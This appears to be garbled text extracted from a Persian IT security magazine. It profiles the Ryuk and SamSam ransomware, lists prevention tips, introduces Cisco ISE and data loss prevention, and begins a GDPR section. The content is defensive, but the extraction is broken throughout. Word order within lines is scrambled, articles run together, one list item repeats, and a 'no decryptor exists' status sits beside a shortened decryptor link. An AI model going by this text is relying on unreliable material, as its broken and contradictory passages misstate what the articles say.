هنگامــی کــه بــاج افــزار Ryuk بــرای اولیــن 
بــار در اواخــر ســال 2018 ظاهــر شــد، 
تصــور می‌کردنــد  از محققــان  بســیاری 

ــمالی  ــت کره‌ش ــا دول ــرکت ب ــن ش ــه ای ک
بخــش   Ryuk زیــرا  خورده‌اســت  گــره 
ــزار  ــا باج‌اف ــه کــد خــود را ب عمــده‌ای از پای
بــا  می‌گــذارد.  اشــتراک  بــه  هرمــس 
ــخص  ــتر مش ــات بیش ــال، تحقیق ــن ح ای
 Ryuk نویســندگان  احتمــالاً  کــه  کــرد 
بــا  آنهــا  و  شــده‌اند  واقــع  روســیه  در 
بــه  احتمــالاً  کــه  )هرچــه  از  اســتفاده 
ســرقت رفتــه( کــد هرمــس ســاخته شــده 
ســاخته‌اند. را   Ryuk افــزار  بــاج  بــود، 

SpyHunter :ابزار پاکسازی وضعیت Decryptor: وجود ندارد.

وضعیت Decryptor: وجود ندارد.

Decryptor: https://bit.ly/35HjtMn
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SamSam
کــه  اســت  باج‌افــزار  یــک   SamSam
بیشــتر در حمــات هدفمنــد مــورد اســتفاده 
طیــف  بــه   SamSam می‌گیــرد.  قــرار 
وســیعی از صنایــع در ایــالات متحــده، 
ماننــد  مهــم‌  زیرســاخت‌های  عمدتــاً 
بیمارســتان‌ها، شــرکت‌های مراقبت‌هــای 
شــهر  شــهرداری‌های  و  بهداشــتی 
حملــه کــرده اســت. ســازمان‌هایی کــه 
ــد،  ــه می‌دهن ــی را ارائ ــای اساس عملکرده
ــود  ــریعاً کار خ ــه س ــد ک ــی دارن ــاز اساس نی

ــاج  ــاد ب ــه احتمــال زی ــد و ب را از ســر بگیرن
ســال  می‌کننــد.  پرداخــت  را  بیشــتری 
ــهر  ــا ش ــه SamSam روزه ــته، حمل گذش
آتلانتــا را فلــج کــرد و هزینــه مالیــات 
دهنــدگان نزدیــک بــه 17 میلیــون دلار بــود.
ــه  ــزار ک ــای باج‌اف ــر کمپین‌ه ــاف اکث برخ
ــر  ــرای تکثی ــینگ ب ــای فیش ــه تکنیک‌ه ب
پروتــکل  از   SamSam ،متکــی هســتند
ــبکه‌های  ــا ش ــد ت ــتفاده می‌کن )RDP( اس
ــوده  ــخیص آل ــل تش ــا حداق ــان را ب قربانی

ــام  ــزار ن ــن باج‌اف ــرا، ای ــد از اج ــد. بع کن
 »I’m sorry« بــه  را  آلــوده  پرونده‌هــای 
 SamSam تغییــر نــام می‌دهــد. گــروه
بیــش از 6 میلیــون دلار بــاج دریافــت کــرده 
ــش از 50،000 دلار  ــتار بی ــب خواس ــه اغل ک
بیت‌کویــن بــود و بیــش از 30 میلیــون دلار 
ــت. ــرده ‌اس ــان وارد ک ــه قربانی ــارت ب خس

ــط  ــدن توس ــوده ش ــگیری از آل ــرای پیش ــی ب ــای مختلف روش‌ه
باج‌افــزار وجــود دارد کــه بــا آگاهــی از آنهــا می‌تــوان تــا 
ــای  ــوارد روش‌ه ــی م ــی در برخ ــد. حت ــق باش ــادی موف ــد زی ح
ــود  ــایی وج ــا رمزگش ــده ب ــذاری ش ــای رمزگ ــی پرونده‌ه بازیاب

ــدارد  ــود ن ــوره وج ــه‌ منظ ــی و هم ــل طلای ــچ راه‌ح ــا هی دارد، ام
ــد  ــایی کن ــزار را رمزگش ــاج اف ــی از ب ــواع مختلف ــد ان ــه بتوان ک
می‌شــود. ایجــاد  مــدت  تمــام  در  آن  از  جدیــدی  انــواع   و 

وضعیت Decryptor: وجود ندارد.

باج افزار قابل پیشگیری است!

بهترین راه برای مقابله با باج‌افزار پیشگیری است که چند نمونه از 
اقدامات امنیتی برای پیشگیری به صورت زیر است:

•   تهیه نسخه پشتیبان بصورت منظم و مدون در بازه‌های زمانی از اطلاعات کاری و حساس
•   نصب آنتی‌ویروس و به‌روزرسانی آن در بازه‌های زمانی کوتاه

•   نصب Anti Ransomware در کنار آنتی‌ویروس و البته توجه به بروزرسانی آن
•   راه‌اندازی فایروال و پیکربندی مناسب
•   عدم مراجعه به سایت‌های نامطمئن

•   عدم کلیک بر روی لینک‌های مشکوک
•   عدم باز کردن پیوست ایمیل‌های ناشناس
•   نصب مرورگر مناسب و البته بروزرسانی آن

•   نصب نرم‌افزارهای مطمئن و دریافت آن‌ها از منابع معتبر و البته بروزرسانی آنها
•   عدم نصب رسانه‌های ذخیره‌ساز قابل حمل نامطمئن
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Cisco Identity Services Engine 

(ISE) Id
en

tit
y Services Engine  

شــبکه‌های امــروزی بــه ســرعت در حــال تغییــر می‌باشــند 
ــرک   ــورت متح ــه ص ــازمان ب ــران س ــه کارب ــی ک ــوص زمان بخص
ــبکه  ــه ش ــف ب ــای مختل ــه روش‌ه ــی ب ــر مکان ــد از ه می‌توانن
متصــل شــوند و بــرای ایــن اتصــال از دســتگاه‌های مختلــف ماننــد 
ــن  ــد. ای ــتفاده می‌کنن ــمند و... اس ــی هوش ــت، گوش ــاپ، تبل لپ‌ت
اتصــال بــه شــبکه از نقــاط مختلــف و دسترســی بــه منابــع شــبکه 
ــش  ــر کاه ــوی دیگ ــا از س ــردد ام ــره‌وری می‌گ ــش به ــث افزای باع

ــل آن  ــراه دارد، دلی ــه هم ــر را ب ــدات دیگ ــش تهدی ــت و افزای امنی
مشــخص نبــودن وضعیــت امنیتــی دســتگاه‌هایی کــه بــه شــبکه 
ــت  ــد. امنی ــز می‌باش ــا نی ــرل آنه ــدم کنت ــوند و ع ــل می‌ش متص
ــدا  ــی پی ــبکه دسترس ــه ش ــه ب ــتگاه‌هایی ک ــام دس ــی تم و ردیاب
می‌کننــد مســئله پیچیــده و مهمــی اســت کــه هــر چــه ایــن میــزان 
دسترســی بیشــتر شــود مدیریــت و کنتــرل آن ســخت‌تر می‌گــردد.

)Cisco Identity Services Engine (ISE نســل جدیــد سیســتم 
شناســایی و کنتــرل دسترســی اســت کــه شــبکه را قــادر می‌ســازد 
امنیــت  و وضعیــت  انجــام دهــد  را ســاده‌تر  ســرویس‌دهی 
 Cisco ISE زیرســاخت را بهبــود بخشــد. معمــاری منحصــر به فــرد
ایــن امــکان را می‌دهد کــه به صــورت Real time اطلاعات شــبکه، 
کاربــران و دســتگاه‌ها را جمــع‌آوری کنــد. ســپس مدیــر می‌توانــد 
بــا اســتفاده از ایــن اطلاعــات بــرای شناســایی دسترســی بــه عناصر 
مختلــف شــبکه ماننــد ســوئیچ‌ها، VLAN ،VPN و… اقــدام کنــد.
و  حل‌هــا  راه  کــه  اســت  جدیــد  محصولــی   Cisco ISE
ــورت  ــه ص ــول ب ــک محص ــی را در ی ــف امنیت ــرویس‌های مختل س
کنتــرل  ایــن محصــول  فراهــم می‌کنــد.  بــرای مــا  یک‌جــا 
دسترســی و راه‌حل‌هــای امنیتــی را بــرای ارتباطــات کابلــی، 
ــد. ــم می‌کن ــودکار فراه ــاده و خ ــورت س ــه ص ــس و VPN ب وایرل
اساســا Cisco ISE هویــت را بــه یــک دســتگاه بــر اســاس کاربــر، 
ــش از  ــا پی ــد ت ــه می‌کن ــر ضمیم ــای دیگ ــا ویژگی‌ه ــرد ی عملک
ــرای  ــد، اج ــبکه باش ــه ش ــی ب ــه دسترس ــاز ب ــتگاه مج ــه دس اینک
ــاس  ــر اس ــد. ب ــدارک ببین ــرای آن ت ــی را ب ــق امنیت Policy و تطاب
نتایــج حاصــل از متغیرهــای مختلــف، یــک Endpoint زمانــی بــه 
دسترســی بــه شــبکه مجــاز اســت کــه مجموعــه معینــی از قوانیــن 
دسترســی بــه interface کــه بــه آن متصــل اســت، اعمــال شــده 
ــال  ــراری اتص ــازه برق ــه کل اج ــا ب ــورت ی ــن ص ــر ای ــد. در غی باش
داده نمی‌شــود یــا اینکــه دسترســی بــه صــورتِ دسترســی مهمــان 

ــود. ــرار می‌ش ــرکت برق ــر ش ــن ه ــیِ معی ــاس خط‌مش ــر اس و ب
اســت   Policy اجــرای   خــودکارِ  دســتگاه  یــک   Cisco ISE
کــه سرپرســتیِ وظایــف روزمــره معمــول همچــون معرفــی 
 Switchport تغییــرات  مهمــان،  معرفــی   ،Body دســتگاه 
VLAN بــرای کاربــران نهایــی، مدیریــت لیســت دسترســی و 
 Admin ــن ــرد. بنابرای ــده می‌گی ــر عه ــری را ب ــیار دیگ ــوارد بس م
ــد. ــز نمای ــد تمرک ــری می‌توان ــم دیگ ــف مه ــر روی وظای ــبکه ب ش

Cisco ise معرفی ابزار

◀گردآوری: محمد ساروقی
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Cisco ISE چگونه عمل می‌کند؟

Policy Administration Node (PAN)

Policy Services Node (PSN)

Monitoring  Node (MNT)

کارکرد سیستم

مزایا

Cisco ISE تشــکیل شــده از ســه Node  توزیــع شــده بــه صــورت 
ــد‌: ــر می‌باش زی

1) Policy Administration Node (PAN)
2) Monitoring  Node (MnT)
3) Policy Services Node (PSN)

 Policy رابطــی اســت کــه مدیــر شــبکه بــه منظــور کانفیــگ PAN
ــه  ــت و ب ــرل PAN اس ــز کنت ــن Node مرک ــود. ای وارد آن می‌ش
Cisco ISE  ِــوژی ــه در کلِ توپول ــد ک ــازه می‌ده ــبکه اج ــر ش مدی
ــه  تغییراتــی را انجــام دهــد و ایــن تغییــرات از  Node Admin ب

ــود. ــارج می‌ش ــمت PSN ،Nodes خ س

ــرار دارد کــه تصمیمــات Policy اتخــاذ  Node PSN در بخشــی ق
ــه  ــبکه هم ــتگاه‌های ش ــه دس ــتند ک ــا Nodes هس ــود. اینه می‌ش
  RADIUS ــای ــد، پیام‌ه ــال می‌کنن ــه آن ارس ــبکه را ب ــای ش پیام‌ه
نمونــه‌ای از آنچــه هســتند کــه بــه PSN فرســتاده می‌شــود. 
پیام‌هــا پــردازش می‌شــوند و ســپس PSN مجــوز یــا عــدم 

ــد. ــادر می‌کن ــبکه را ص ــه ش ــی ب ــوز دسترس مج

Node  MNT جایــی اســت کــه ورود بــه سیســتم )Login( انجــام 
 Node ــن ــه ای ــا ب ــه Log ه ــود. هم ــد می‌ش ــا تولی و گزارش‌ه
ــد بنابرایــن  ــا را مرتــب می‌کن ارســال می‌شــوند و MNT همــه آنه
می‌توانــد آنهــا را در فرمتــی خوانــا گــرد آورد. همچنیــن از آن بــرای 

ــود. ــتفاده می‌ش ــف اس ــای مختل ــد گزارش‌ه تولی

حــال کــه می‌دانیــم هــر Node چــه کاری انجــام می‌دهــد، 
نگاهــی بــه چگونگــی هماهنــگ شــدن تمامــی مــوارد بــه عنــوان 
یــک سیســتم کامــل خواهیــم انداخــت. نمــودار زیــر نشــان دهنــده 
منطــقِ سیســکو ISE اســت، چــرا کــه Node ممکــن اســت میــان 

ــد. ــده باش ــع ش ــی توزی ــتگاه‌های مختلف دس

Cisco ISE رویکــردی جامــع را بــرای برقــراری امنیت در دسترســی 
بــه شــبکه در اختیارتــان قــرار می‌دهــد. شــما مزایــای بســیاری را 
بــا اســتقرار Cisco ISE در شــبکه در اختیــار خواهیــد داشــت کــه 

در زیــر چنــد مــورد آن قابــل مشــاهده اســت:

•   محیط کاری امن و دسترسی مبتنی بر شرایط
•   تسهیل قابلیت رویت شبکه

•   اعمال سیاست‌های فراگیر
Guest تجربه‌ای قابل اعتماد برای   •

ایــن  می‌شــود.  آغــاز   Endpoint طریــق  از  ارتبــاط    .1
هوشــمند،  گوشــی  لپ‌تــاپ،  یــک  می‌توانــد   Endpoint
تبلــت، دوربیــن امنیتــی و سیســتم ویدئــو کنفرانــس باشــد 
ــاز دارد. ــبکه نی ــه ش ــی ب ــه دسترس ــه ب ــتگاهی ک ــر دس ــا ه و ی

ــبکه  ــه ش ــی ب ــتگاه دسترس ــک دس ــق ی ــد از طری Client  .2 بای
ــک  ــا ی ــیم ی ــبکه بی‌س ــده ش ــرل کنن ــک کنت ــوئیچ، ی ــک س - ی
Connector- VPN   بــه شــبکه متصــل شــود. اینجــا اســت کــه 

اجــرای همــه policy هــا رخ می‌دهــد.

ــرای  ــت ب ــراز هوی ــای اح ــت x802.1 تقاض ــق درخواس 3.  از طری
Endpoint می‌شــود و ایــن درخواســت بــه Node  PSN فرســتاده 

می‌شــود.

 Node از پیــش یــک کانفیــگِ خــاص از طــرف PSN 4.  بــه
Admin داده شــده اســت. PSN اســناد هویتــی را پــردازش 
ــه پرس‌و‌جــو از  ــاز ب ــورد، نی ــن م ــرای ای ــد )ممکــن اســت ب می‌کن
 Active یــا LDAP یــک پایــگاه داده خارجــی داشــته باشــد، مثــا
Directory، و بــر اســاس تنظیمــاتِ کانفیــگ، PSN بــرای صــدور 

مجــوز تصمیم‌گیــری می‌کنــد.(

ــال  ــبکه ارس ــه ش ــی ب ــتگاه دسترس ــه دس ــم را ب PSN   .5 تصمی
ــی  ــتگاه دسترس ــد. دس ــرا نمای ــم را اج ــد تصمی ــا بتوان ــد ت می‌کن
ــی را  ــات خاص ــن Session اقدام ــراری ای ــرای برق ــبکه، ب ــه ش ب
انجــام می‌دهــد. در ایــن مرحلــه، بــا توجــه بــه Policy اقدامــات 
ــترک  ــی مش ــد ویژگ ــا چن ــود، ام ــام ش ــد انج ــیاری می‌توان بس
عبارتنــد از: لیســت‌های دسترســی پویــا، تغییــر مجــوز )بــه عنــوان 
 Security Group هــا( و VLAN مثــال بــرای ســوئیچ کــردن

.)Cisco TrustSec(بخشــی از راهــکار  Tags

ــه‌ای  ــوان مجموع ــه عن ــه PSN ب ــه ک ــاس آنچ ــر اس ــون ب 6.  اکن
ــاص  ــع خ ــه مناب ــد ب ــت، Client  می‌توان ــتاده اس ــن فرس از قوانی
ــه  ــد. از ســوی دیگــر کلاینــت ممکــن اســت ب ــدا کن دسترســی پی
ــل از  ــور کام ــه ط ــا ب ــود ی ــتاده ش ــه Login Guest فرس صفح

ــود. ــودداری ش ــبکه خ ــه ش ــی‌اش ب دسترس

ــوط  ــد و Log مرب ــر می‌گردن ــب ب ــه عق ــا ب ــن پیام‌ه ــه ای 7. هم
 Node ــه ــی ک ــود، جای ــتاده می‌ش ــود MNT فرس ــه ن ــا، ب ــه آنه ب
ــاهده  ــد مش ــه می‌توان ــازمان یافت ــی س ــا را در فرمت Admin آنه

کنــد.
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 پیشگیری از فقدان اطلاعات
DLP (Data Loss Prevention)

همــواره متخصصیــن امنیــت اطلاعــات 
ســازمان در صــدد ایــن هســتند، تکنیک‌هــا 
و راهکارهایــی ارائــه دهنــد کــه زیرســاخت 
برنامه‌هــای  و  سیســتم‌عامل  شــبکه‌، 
امــا  قراردهــد،  امنیــت  در  را  کاربــردی 
ــام  ــه تم ــت ک ــن اس ــه ای ــل توج ــه قاب نکت
فعالیت‌هــای حــوزه امنیــت یــک هــدف را 
ــول  ــظ اص ــم حف ــد و آن ه ــال می‌کنن دنب
دســترس‌پذیر  و  صحــت   محرمانگــی، 
چــرا  داده‌هاســت.  و  اطلاعــات  بــودن 
اهمیت‌تریــن  بــا  و  مهمتریــن  کــه 
آن  اطلاعــات  ســازمان  هــر  دارایــی 
نگهــداری  و  حفــظ  و  اســت  ســازمان 
ــت.  ــوردار اس ــی برخ ــت بالای ــا از اهمی آنه
ــردی  ــه کارب ــا برنام ــتم‌عامل ی ــک سیس ی
ــا نســخه  ــوان ب کــه حــذف شــده را مــی ت
جدیدتــر جایگزیــن کــرد امــا از دســت دادن 

ــازمان  ــک س ــمند ی ــات کاری و ارزش اطلاع
ــر بازگشــت‌پذیر نباشــد  ممکــن اســت دیگ
دادن  دســت  از  مــوارد  از  برخــی  در  و 
یــا افشــای اطلاعــات می‌توانــد اثــرات 
داشــته  به‌همــراه  را  جبران‌ناپذیــری 
ــخت‌افزاری  ــات س ــام اقدام ــذا تم ــد. ل باش
ــت  ــت و محافظ ــت مراقب ــزاری جه و نرم‌اف
از اطلاعــات و حفــظ صحــت در ســایه 
دســترس‌پذیر  و  محرمانگــی  حفــظ 
ــی از  ــور یک ــن منظ ــت.  بدی ــودن آنهاس ب
مهم‌تریــن مباحــث حــوزه امنیــت پــی 
ــه  ــات ب ــه اطلاع ــت ک ــن اس ــه ای ــردن ب ب
ــا  ــد و م ــن می‌رون ــی از بی ــه روش‌های چ
حــذف  از  می‌توانیــم  ترتیبــی  چــه  بــه 
کنیــم.  پیشــگیری  اطلاعــات  نشــت  و 
بــر روی  از پرســنل ســازمان  هــر یــک 
بــه  مخصــوص  اطلاعــات  و  داده‌هــا 

خــود کار می‌کننــد کــه ایــن اطلاعــات 
می‌توانــد اطلاعــات تولیــدی خودشــان 
اینکــه اطلاعــات تولیــدی  باشــد و یــا 
آنهــا  کــه  ســازمان  دیگــر  بخش‌هــای 
جهــت  را  آنهــا  از  بهره‌بــرداری  وظیفــه 
ــه هــر  ــد، ب پیشــبرد اهــداف ســازمان دارن
ــی  ــاظ فیزیک ــه لح ــات ب ــن اطلاع ــال ای ح
ــرار دارد: ــر ق ــای زی ــی از وضعیت‌ه در یک
رســانه‌های  روی  بــر  اطلاعــات   .1
هــارد  فلــش‌،  قبیــل  از  ذخیره‌ســاز 
ــرار دارد. ــا DVD و ... ق اکســترنال، CD و ی
شــبکه  بســتر  روی  بــر  اطلاعــات   .2
انتقــال  و  شــدن  جابجــا  حــال  در  کــه 
اینترنــت.  از  یــا  و  اینترانــت  شــبکه  در 
داده.  پایــگاه  روی  بــر  اطلاعــات   .3

اطلاعــات ســازمان بــه یکــی از روش‌های زیر 
امــکان حذف و نشــت برای آنهــا وجود دارد: 

1. ســرقت و یــا تغییــر اطلاعــات در هنــگام 
جابجایــی در بســتر شــبکه.

2. ســرقت اطلاعــات بــا از دســت دادن 
ــات  ــاز اطلاع ــانه‌های ذخیره‌س ــی رس فیزیک

.cd ــارد و ــا ه ــش و ی ــل فل از قبی
3. نفــوذ بــه زیرســاخت و شــبکه از طریــق 

نفوذگــر. 
ــا  ــدی و ی ــات بصــورت عم 4. حــذف اطلاع
غیــر عمــد توســط پرســنل داخــل ســازمان.

5. نفوذ به اطلاعات ذخیره شده در ابر. 
ــل  ــات از داخ ــد اطلاع ــر عم ــت غی 6. نش

ــنل. ــط پرس ــبکه توس ش
همــه ایــن مــوارد در طراحــی سیســتم 
پیشــگیری از اهمیــت ویــژه‌ای برخوردارنــد 
ــا،  ــوان راهکاره ــاس می‌ت ــن اس ــر همی و ب
خط‌مشــی‌های  و  اســتراتژی‌ها 
کــرد: پیاده‌ســازی  و  تدویــن  را  لازم 

1. ایجــاد یــک راهــکار مناســب بــرای 
ــت  ــه نش ــر گون ــات از ه ــت اطلاع محافظ
ــال در  ــی و انتق ــال جابجای ــات در ح اطلاع
بســتر شــبکه یــا از طریــق رســانه‌های 
طریــق  از  یــا  و  اطلاعــات  ذخیره‌ســاز 

اینترنــت.
2. ایجــاد یــک راهــکار مناســب بــرای 
محافظــت اطلاعــات از هرگونــه نشــت غیــر 

ــازمان. ــرون س ــه بی ــاز ب مج
مکانیزم‌هــای  تدویــن  و  تهیــه   .3
جهــت  راهکارهایــی  و  پشــتیبان‌گیری 
پشــتیبان  نســخه‌های  از  محافظــت 

رمزنــگاری.  وســیله  بــه  اطلاعــات 
ــق  ــات از طری 4. محافظــت از نشــت اطلاع
ــا  ــت و ی ــت نش ــران جه ــازی کارب آگاه‌س
ــا  ــات و ی ــد اطلاع ــر عم ــن غی ــن رفت از بی

ــازمان. ــارج س ــه خ ــت آن ب نش

ــد  ــوق بای ــات ف ــه توضیح ــه ب ــا توج ــذا ب ل
ــردد: ــخص گ ــل مش ــر از قب ــوارد زی ــام م تم

اطلاعاتــی موجــود  منابــع  1. شناســایی 
درســازمان.

ــر  ــات ب ــدی اطلاع ــدی و کلاس‌بن 2. طبقه‌بن
حســب میــزان اهمیــت در ســطوح عــادی، 

محرمانــه، فــوق محرمانــه و یــا ســری.
ــه  ــودن اینک ــخص نم ــدی و مش 3. طبقه‌بن
اطلاعــات از لحــاظ مــکان قرارگیــری در کجــا 

ــد. ــرار می‌گیرن ق
و  اســتراتژی  تدویــن  و  تهیــه   .4
خط‌مشــی‌های لازم جهــت پیشــگیری از 

اطلاعــات. نشــت  هرگونــه 
5. داشــتن کنتــرل دائمــی بــه نحــوه گردش 
کار، مدیریــت و به‌روزرســانی روش‌هــا و 
.DLP  همچنیــن گــزارش گیــری از عملکــرد

روش‌های حذف و نشت اطلاعات

◀گردآوری: محمد ساروقی

42



پیامد از دست رفتن و نشت داده

پیامد از دست رفتن و نشت داده

اجزا و عناصر یک استراتژی DLP کارآمد

سیاســت  یــک  پیاده‌ســازی  و  طراحــی 
و خط‌مشــی موثــر جهــت جلوگیــری از 
فقــدان اطلاعــات تــاش و فعالیــت زیــادی 
را طلــب می‌کنــد. امــا پیامــد از دســت 
رفتــن اطلاعــات حســاس شــرکت می‌توانــد 
ــر و حتــی در مــواردی  بســیار خســارت بارت
ــال در  ــور مث ــد، بط ــر باش ــران ناپذیرت جب
صنایــع نظامــی و دفاعــی کــه امنیــت ملــی 
در میــان اســت، از دســت رفتــن اطلاعــات 
بــه کشــور  زیــادی  می‌توانــد خســارت 
ــات  ــن اطلاع ــت رفت ــا از دس ــد و ی وارد کن
ــه  ــر ب ــد منج ــی می‌توان ــتم بانک در سیس
مشــکلات اقتصــادی بــرای افــراد و یــا 
ــن  ــت رفت ــا از دس ــود و ی ــور ش ــی کش حت
اطلاعــات مربــوط بــه بیمــاران در یــک 
بیمارســتان می‌توانــد حتــی موجــب مــرگ 
ــرکت  ــک ش ــا در ی ــود و ی ــان ش ــک انس ی
گــردد.  ورشکســتگی  باعــث  می‌توانــد 
مســاله  امــر،  ایــن  بــه  توجــه  لــذا 
پیشــگیری و حفاظــت از داده‌هــا را بــا 
ســرمایه  ارزش  و  می‌کنــد  اهمیت‌تــر 

می‌دهــد. افزایــش  را  کار  و   گــذاری 

نشــت  از  ناشــی  عــوارض  جملــه  از 
اطلاعــات  عمــدی  غیــر  یــا  و  عمــدی 
ــرد: ــاره ک ــر اش ــوارد زی ــه م ــوان ب ــی ت م

1. تخریــب شــهرت یــک شــرکت و یــا یــک 
موسســه و ســازمان.

2. خســارت مالــی بــه شــرکت بــا پرداخــت 
جریمــه .

3. خســارت مالــی بــه شــرکت بــا پرداخــت 
جریمــه .

ــاد  ــدم اعتم 4. مشــکل در کســب و کار و ع
ــازار. مشــتریان و از دســت دادن ســهم ب

5. از دست دادن اعتماد سرمایه‌گذاران.
ــنس‌ها،  ــت‌دادن گواهینامه‌ها،لایس 6. ازدس

... و  رتبه‌بندی‌هــا 
7. کاهش درآمد و حتی ورشکستگی.

و پیامدهــا و مشــکلات عدیــده دیگــری کــه 
ــه،  ــرکت، موسس ــک ش ــرای ی ــد ب می‌توان
ــردد.  ــاد گ ــور ایج ــک کش ــا ی ــازمان و ی س

 )IDS( نفــوذ  تشــخیص  ســامانه‌های 
و )IPS(  بــه عنــوان ســامانه‌هایی کــه 
ــبکه  ــه ش ــه ب ــوذ و حمل ــه نف ــود هرگون وج
را تشــخیص و جلوگیــری می‌کننــد نیــز 
می‌توانــد بعنــوان بخشــی از یــک سیســتم
ــت  ــن جه ــد از ای ــاب بیاین ــه حس DLP ب
ــن  ــن رفت ــکاری و از بی ــع از خراب ــه مان ک

حــال،  ایــن  بــا  می‌گــردد.  اطلاعــات 
سیســتم‌هایی هماننــد IDS هــا بــر روی 
فیلتــر  را  آن  و  دارنــد  نظــارت  ترافیــک 
روی  بــر  بیشــتر   DLP ولــی  می‌کننــد 
پیشــگیری از خــروج اطلاعــات نظــارت دارد. 
هــدف اصلــی پیاده‌ســازی DLP پیشــگیری 
از خــروج هــر چیــز از شــبکه می‌باشــد. 

محافظــت از داده‌هــا و اطلاعــات در هــر 
یــک از موقعیت‌هــای زیــر بایــد طبــق روش 
ــرد: ــورت گی ــود ص ــاص خ ــتراتژی خ و اس

کامپیوترهــای  در  موجــود  اطلاعــات   .1  
ــامل  ــات ش ــن اطلاع ــر: ای ــار کارب در اختی
داده‌هایــی می‌گــردد کــه توســط کاربــر 
ــده  ــیو ش ــر آرش ــده و در کامپیوت ــد ش تولی
اســت و یــا اطلاعاتــی کــه بــه طــرق 
ــده و  ــه ش ــر مربوط ــف وارد کامپیوت مختل
در آن نگهــداری و یــا از آن بهره‌بــرداری 

می‌گــردد.

رســانه‌های  در  موجــود  اطلاعــات   .2
ــه  ذخیره‌ســازی. ایــن اطلاعــات شــامل کلی
داده‌هایــی می‌گــردد کــه در رســانه‌های 
هــارد  فلــش،  قبیــل  از  ذخیره‌ســاز 
اکســترنال، CD،DVD  و یــا هــر وســیله 
ــر  ــار کارب ــده و در اختی ــره ش ــری ذخی دیگ

قــرار دارد.

3. اطلاعــات موجــود در پایــگاه داده: در 
و  اتوماســیون  نرم‌افــرار  وجــود  صــورت 
ــل  ــن قبی ــابداری و از ای ــزار حس ــا نرم‌اف ی
ــص  ــگاه‌داده مخت ــه دارای پای نرم‌افزارهــا ک
ــک  ــات در ی ــند و اطلاع ــود می‌باش ــه خ ب

ــردد. ــره می‌گ ــی ذخی ــک اطلاعات بان

4. اطلاعــات مســیر شــبکه: ایــن اطلاعــات 
ــتر  ــه در بس ــردد ک ــی می‌گ ــامل داده‌های ش
شــبکه در حــال جابجایی و انتقال می‌باشــد.

 DLP اصول اساسی در طراحی یک استراتژی

نتیجه‌گیری

ــش  ــن بخ ــا: مهمتری ــته‌بندی داده‌ه 1. دس
از یــک اســتراتژیDLP شناســایی داده‌هــا و 
طبقه‌بنــدی و کلاس‌بنــدی اطلاعــات اســت 
چــرا کــه ایــن تفکیــک کمــک زیــادی جهت 
ــر اطلاعــات موجــود خواهــد  مدیریــت بهت
ــیت  ــطح حساس ــت س ــا دق ــا ب ــت ت داش
داده‌هــا و تاثیــر از دســت دادن یــا افشــای 

هــر بخــش مشــخص شــود.

2. تعییــن ابزارهــا، خط‌مشــی و اســتراتژی 
جهــت  مناســب  سیاســت‌گذاری‌های  و 
حفــظ و نگهــداری اطلاعــات مربــوط بــه هر 

بخــش از داده‌هــای طبقــه بنــدی شــده.

طبــق  ممیــزی  و  تهیــه چک‌لیســت   .3
یــک برنامــه مــدون و زمانبندی‌شــده از 
فعالیت‌هــای انجــام گرفتــه در بنــد دو.

ــوع  ــک موض ــوان ی ــه عن ــان ب DLP همچن
جــدی بــرای کســب و کار شــرکت‌ها مطــرح 
ــگیری از  ــه پیش ــوان هزین ــه عن ــت و ب اس
حــوادث احتمالــی بایــد مــورد توجــه قــرار 
گیــرد. بــه عنــوان مثــال تلاش‌هــای مخــرب 
و یــا یــک اشــتباه غیــر عمــدی، کــه منجــر 
بــه از دســت دادن داده‌هــا شــود می‌توانــد 

نــام تجــاری یــک شــرکت را مــورد خدشــه 
ــش ارزش  ــث کاه ــد و باع ــرار ده ــدی ق ج
ســهام و آســیب حســن‌نیت و شــهرت 
شــرکت آن گــردد. بــا اســتفاده از روش‌های 
ذکــر شــده در بخــش Best Practice هــا 
ــی در  ــه راه‌حل‌های ــد ب ــرکت‌ها می‌توانن ش
خــور نیازهــای خــود در اجــرای DLP دســت 

یابنــد. در آخــر، بــا اســتفاده از راه‌حل‌هــای 
ترکیبــی بــرای اجــرای DLP بــر روی انــواع 
ذخیره‌ســازی  نحــوه  لحــاظ  از  داده‌هــا 
 DLP ــات ــت عملی ــد موفقی ــوان درص می‌ت
را تــا حــد بســیار بالایــی افزایــش داد.
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بــا ایــن وجــود کــه نبــض اقتصــاد جهانــی 
بــا داده و شــیوه مدیریــت آن‌هــا گــره 
خــورده اســت امــا از ایــن نکتــه نیــز نبایــد 
ــراد  ــوق اف ــت حق ــه رعای ــد ک ــل گردی غاف
و پــردازش داده‌هــا بــا رعایــت اصــول 
اخلاقــی، الزامــات مختــص بــه خــود را دارد. 

بنابــر پیش‌بینــی IDC  تــا ســال 2020، 
تقریبــا بیــش از 25 درصــد جمعیــت جهــان 
درگیــر مشــکلات نقــض داده می‌شــوند. 
بدیهــی اســت بــا ورود بــه عصــر دیجیتــال 
و در آســتانه انقــاب صنعتــی چهــارم و 
از  مجموعــه‌ای  نیازمنــد  داده،  ســونامی 

قوانیــن جدیــد مرتبــط بــا داده می‌باشــیم. 
ــده  ــام ش ــای انج ــی از تلاش‌ه GDPR، یک
دارد  کــه قصــد  اســت  ایــن مســیر  در 
ــم  ــظ حری ــه حف ــوط ب ــن مرب ــه قوانی دامن
شــخصی و حفاظــت از داده‌هــای شــخصی 
را بــا یــک تفکــر راهبــردی نهادینــه نمایــد. 

ــا  ــی ی ــات عموم ــت اطلاع ــررات حفاظ مق
GDPR، قانــون حفاظــت داده در ســطح 
اتحادیــه اروپــا اســت کــه بــا دســتورالعمل 
»حفاظــت از اطلاعــات اتحادیــه اروپــا« 
تدویــن شــده در ســال 1995 جایگزیــن 
شــده اســت. قانــون فــوق، بــرای هماهنگی 
قوانیــن حفــظ حریــم خصوصــی در سراســر 
اروپــا و بــا هــدف محافظت و توانمندســازی 
شــهروندان  داده  خصوصــی  حریــم 
اتحادیــه اروپــا و تحــول در شــیوه برخــورد 
ــی  ــم خصوص ــرد حری ــا رویک ــازمان‌ها ب س
ــاد  ــا ایج ــه اروپ ــر اتحادی ــا در سراس داده‌ه
شــده اســت. GDPR ماحصــل چندیــن 
ــنهاد در  ــن پیش ــت. اولی ــره اس ــال مذاک س
ســال 2012 ارائــه و نســخه نهایــی آن در  14 
آوریــل 2016 توســط پارلمــان اتحادیــه اروپــا 
ــه  ــا اتحادی ــی اعض ــد. تمام ــب گردی تصوی
ــا  ــط ب ــادی مرتب ــای اقتص ــا و بنگاه‌ه اروپ
هــر یــک از کشــورهای اتحادیــه ملــزم 
ــال 2018  ــی س ــاه م ــا 28 م ــه ت ــد ک بودن

ــا قوانیــن و دســتورالعمل‌های آن  خــود را ب
ــکل  ــرایط آن در ش ــه ش ــد ک ــق نماین تطبی
1 نشــان داده شــده اســت. جریمه‌هــای 
از  بالاتــر  بســیار   GDPR تحــت  بالقــوه 
